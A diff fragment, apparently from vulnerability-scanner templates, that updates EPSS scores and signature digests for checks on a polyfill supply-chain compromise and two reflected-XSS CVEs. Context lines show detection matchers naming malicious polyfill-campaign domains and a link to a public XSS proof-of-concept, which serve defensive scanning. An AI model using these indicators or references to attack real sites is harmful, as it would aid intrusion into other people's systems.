-    epss-percentile: 0.99018
+    epss-score: 0.85999
+    epss-percentile: 0.99358
  tags: cve,cve2024,supply-chain,polyfill,vkev,vuln
 headless:
  - steps:
@@ -60,4 +60,4 @@ headless:
          - "union.macoms.la"
          - "newcrbpc.com"
        part: urls
-# digest: 4a0a00473045022100b931374196adc17b46064f13d99af21f0b4d196d6d98ef8a0f6399a13814b18a02200e531edd5973acf6e0487bf3875e44a0680ca471226aed577a872ea97374088f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d45f9de673529a5d413af46c6d352a21d380416305a1616bceb6fa87d2a65c5f02204bf61eb2242a93ef02784b83f0e35d5b0e86e6bdfef605a1b896374c0eb98a94:922c64590222798bb761d5b6d8e72950
@@ -11,8 +11,8 @@ info:
    - https://patchstack.com/articles/reflected-xss-patched-in-essential-addons-for-elementor-affecting-2-million-sites/
    - https://github.com/Sachinart/essential-addons-for-elementor-xss-poc/blob/main/poc.py
  classification:
-    epss-score: 0.03198
-    epss-percentile: 0.86487
+    epss-score: 0.01936
+    epss-percentile: 0.8293
  metadata:
    verified: true
    max-request: 1
@@ -42,4 +42,4 @@ headless:
        words:
          - "{{random_int}}"
        case-insensitive: true
-# digest: 4a0a004730450220620f3dc941df3e688c304ad234066a1d8a87fc2b1fa1a04ef9850f24e613510e022100b00c68736b6f7bac99a0677c564247d90e688024cc08909d957a4fc6c55309c1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100dac0b80f09da850302bf6c890cfd85e139c333c32b5abe7885d76679682ac27f022100f791eff13c345d2b54e4789726aa7b19817b0726fdbe84dfb8379ba4ac4cd71e:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2025-25062
    cwe-id: CWE-79
    epss-score: 0.34064
-    epss-percentile: 0.96767
+    epss-percentile: 0.96815
    cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 7
@@ -186,4 +186,4 @@ headless:
        dsl:
          - reflected_text_xss_type
          - reflected_text_xss_message
-# digest: 4a0a00473045022100a17efb62fee55c45342f1aca08abe8984f346f12eae5f7bf59b14f8a31240df0022006f396de2e67edbc06c2fcbbd24ba3de7ad0df3e39ea1e26656466e8717c348d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022050cbae6045c827c819bc2d5fb98236008e1cd154105ca1279b1d859f768a9610022100a0c21ee041bbc4f13c6cbec25406a767d693ffd65251cec02b2d67e76c5f447d:922c64590222798bb761d5b6d8e72950